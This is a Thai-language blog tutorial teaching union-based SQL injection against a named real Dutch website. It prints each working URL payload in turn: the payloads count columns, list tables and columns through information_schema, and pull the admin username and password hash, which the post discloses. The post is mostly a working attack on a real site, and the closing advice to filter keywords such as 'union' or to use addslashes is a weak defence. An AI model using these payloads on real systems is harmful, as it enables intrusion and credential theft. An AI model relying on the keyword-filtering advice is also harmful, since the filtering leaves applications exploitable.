How To SQL Injection แบบเบิร์ดๆ

มาเริ่มกันเลย

1.พื้นฐาน ภาษา SQL

ผมจะสอนแค่คำสั่งพื้นฐานบางคำสั่งเท่านั้นนะครับ

1.1 คำสั่งในการหยิบข้อมูลจากฐานข้อมูลมาแสดง >>>> SELECT คอร์ลัมของตาราง X FROM ตาราง X

1.2 คำสั่ง UNION เป็นคำสั่งช่วยในการหยิบข้อมูลมากกว่า 1 อย่าง ตัวอย่าง เช่น

SELECT คอร์ลัมของตาราง X FROM ตาราง X UNION SELECT คอร์ลัมของตาราง Y FROM ตาราง Y <<<< เป็นการหยิบข้อมูล X กับ Y มาแสดง

เอาล่ะจะมี โมเดลมาเพื่อให้เห็นภาพชัดเจน

เข้าเว็บ “http://www.prinsmaurits.nl/show.php?id=90” รูปที่ 1

อธิบายรูป >> ที่หลังเเครื่องหมาย ? จะเป็นตัวแปรในภาษา php ในวันนี้คือตัวแปร ชื่อ id ค่าในตัวแปร = 90 เป็นการส่งค่าแบบ get

สิ่งที่เว็บนี้ทำก็คือเรียกหน้า show.php + กับส่งค่า id=90 เพื่อดึงข้อมูลในฐานขอมูลออกมาแสดง จากในรูปตรงส่วนของ

qshot_0071

Casino Rowan และ Reacties คือส่วนที่ดึงข้อมูลจากฐานข้อมูลมาแสดง (และยังอาจมีส่วนอื่นๆด้วย)

ทีนี้เราจะเชคว่าตัวแปรนี้มีช่องโหว่หรือไม่ด้วยการใส่เครื่องหมาย ‘ หรือ single quote ลงไปหลังตัวแปร จะได้ดังรูปที่ 2

0qshot_0072

มี error ในรูปแบบอย่างนี้ ค่อยข้างชัวร์ว่า รั่วแน่ ทีนี้เราก็จัดการใช้คำสั่งที่ผมสอนไว้ข้างบนมาเริ่มเลย เริ่มจากการใช้ UNION เลย เราก็ทำเงื่อนไข

ข้างหน้าให้เป็น เท็จจะได้ด้วยวิธีใดก็แล้วแต่ในที่นี้ผมเติม – เข้าไปหน้าค่าของตัวแปรเพื่อไม่ให้แสดงข้อมูลของเว็บโดยจะให้แสดงข้อมมูลที่ เราต้องการ

ซึ่งหยิบจากเงื่อนไขหลัง UNION อะตัวอย่างเลยดีกว่า

“http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1–”

หมายเหตุ : เครื่องหมาย “+” หรือ “%20” หมายถึงเว้นวรรค และ เครื่องหมาย “–” คือ comment

ทีนี้เราก็มาไล่กันว่าหน้านี้มีกี่ column ที่นำมาแสดง อะตัวอย่าง

Prins Maurits

ไล่ไปโดยเพิ่มทีละ 1 ไปเรื่อยจนกว่าตรงหัวข้อ Reacties จะไม่ได้แสดงข้อความ error ตามรูป

(เหตุผลที่สนใจหัวข้อนี้เพราะมันสามารถดึงข้อมมูลมาแสดงได้เยอะดี)

0qshot_0073

จะเห็นว่ามีเลข 1,2,3 แสดงในเว็บตรงแถวๆหัวข้อ Reacties นั้นคือเราสามารถเอาเลขที่เราไล่มะกี้มาแสดงบนเว็บได้แล้ว ทีนี้เราจะเปลี่ยนจากเลขเป็น

user pass ของคนในเว็บ เราก็เริ่มจากหาตารางในเว็บก่อนว่ามีตารางอะไรบ้าง โดยใช้ในสิ่งที่สอนไปข้างบน เอาตัวอย่างเลยละกัน

“http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1,table_name,3,4,5,6%20FROM%20information_schema.tables–”

(หมายเหตุ information_schema.tables คือ ตารางมาตรฐานที่เก็บข้อมูลตารางทั้งหมดไว้)

qshot_0074

จะเห็นว่าได้ตารางมาเยอะเลย แต่สิ่งที่เราสนใจคือ ตาราง users หลังจากได้ตารางมาแล้วทีนี้เราก็มาหา column ที่เราสนใจ โดยใช้คำสั่ง

“http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1,column_name,3,4,5,6%20FROM%20information_schema.columns–”

(หมายเหตุ information_schema.columns คือ ตารางมาตรฐานที่เก็บข้อมูล column ทั้งหมดไว้)

qshot_0075

จะเห็นว่าได้ column มาเยอะเลยแต่ column ที่เราสนใจคือ username กับ password

ที่นี้เราก็นำ สิ่งที่ได้มารวมกัน เพื่อดึงข้อมูลในฐานข้อมูลมาแสดง ในที่นี้จะเพิ่มอีกคำสั่งหนึ่งคือ concat() คือคำสั่งดึงข้อมูลหลาย column

มาแสดงที่เว็บ column เดียว เอ๊ะยังไง ดูตัวอย่างเลยละกัน

“http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1,CONCAT_WS(0x3A,username,password),3,4,5,6%20FROM%20users–”

(หมายเหตุ 0x3A คืือเครื่องหมาย ” : ” ในเลขฐานสิบหก ในที่นี้ใช้กั้นระหว่าง username กับ password)

qshot_0076

 

จากรูปเราก็จะได้ user : admin กับ password : cbc6a2d11896b664a71c917fbe7532f2321735b6

ขอบคุณเว็บ Prins Maurits เป็นอย่างสูง(ปัจจุบันเว็บเขาได้แก้ไขช่องโหว่ไปแล้วจึงนำมาเผยแพร่เป็นความรู้)

ปล.สามารถคลิกที่รูปเพื่อดูรูปขนาดจริง

วิธีป้องกัน SQLi ที่สำคัญคือเราต้องตรวจสอบ input ที่ระบบรับเข้ามาแล้วทำการ filter ส่วนที่เป็น SQL injection statement  ออกไป เช่น union,’ เป็นต้น หรืออาจจะใช้ function ช่วยในการ filter เช่น addslashes, mysql_real_escape

#เขียนโดย MaYaSeVeN 

References

1.Prins Maurits

how to, sql injection
เรื่องก่อนหน้า
วิธีใช้ชีวิตอยู่บนโลก Internet ให้ปลอดภัย 3 ข้อง่ายๆ สำหรับ End-User
เรื่องถัดไป
ช่องโหว่ Web Browser แค่เหยื่อเปิดเว็บก็โดนยึดเครื่อง

Related Posts

ใส่ความเห็น

อีเมลของคุณจะไม่แสดงให้คนอื่นเห็น ช่องข้อมูลจำเป็นถูกทำเครื่องหมาย *

Fill out this field
Fill out this field
โปรดใส่ที่อยู่อีเมลที่ใช้งานได้
You need to agree with the terms to proceed